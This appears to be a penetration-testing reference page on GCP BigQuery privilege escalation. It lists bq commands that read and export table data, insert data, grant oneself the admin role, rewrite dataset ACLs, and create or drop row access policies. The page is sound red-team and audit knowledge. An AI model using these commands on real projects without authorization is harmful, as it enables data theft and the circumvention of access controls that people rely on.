GCP - BigQuery Privesc

BigQuery

For more information about BigQuery check:

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../gcp-services/gcp-bigquery-enum.md
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Read Table

Reading the information stored inside the a BigQuery table it might be possible to find sensitive information. To access the info the permission needed is bigquery.tables.get , bigquery.jobs.create and bigquery.tables.getData:

Read BigQuery table data

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Export data

This is another way to access the data. Export it to a cloud storage bucket and the download the files with the information.\
To perform this action the following permissions are needed: bigquery.tables.export, bigquery.jobs.create and storage.objects.create.

Export BigQuery table to Cloud Storage

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Insert data

It might be possible to introduce certain trusted data in a Bigquery table to abuse a vulnerability in some other place. This can be easily done with the permissions bigquery.tables.get , bigquery.tables.updateData and bigquery.jobs.create:

Insert data into BigQuery table

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

`bigquery.datasets.setIamPolicy`

An attacker could abuse this privilege to give himself further permissions over a BigQuery dataset:

Set IAM policy on BigQuery dataset

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
    --member='user:<email>' \
    --role='roles/bigquery.admin' \
    <proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

`bigquery.datasets.update`, (`bigquery.datasets.get`)

Just this permission allows to update your access over a BigQuery dataset by modifying the ACLs that indicate who can access it:

Update BigQuery dataset ACLs

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

`bigquery.tables.setIamPolicy`

An attacker could abuse this privilege to give himself further permissions over a BigQuery table:

Set IAM policy on BigQuery table

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
    --member='user:<email>' \
    --role='roles/bigquery.admin' \
    <proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

`bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`

According to the docs, with the mention permissions it's possible to update a row policy.\
However, using the cli bq you need some more: bigquery.rowAccessPolicies.create, bigquery.tables.get.

Create or replace row access policy

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

It's possible to find the filter ID in the output of the row policies enumeration. Example:

List row access policies

 bq ls --row_access_policies <proj>:<dataset>.<table>

      Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
 ------------- ------------------ ----------------------------- ----------------- --------------------
  apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

If you have bigquery.rowAccessPolicies.delete instead of bigquery.rowAccessPolicies.update you could also just delete the policy:

Delete row access policies

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

⚠️ Caution

Another potential option to bypass row access policies would be to just change the value of the restricted data. If you can only see when `term` is `Cfba`, just modify all the records of the table to have `term = "Cfba"`. However this is prevented by bigquery.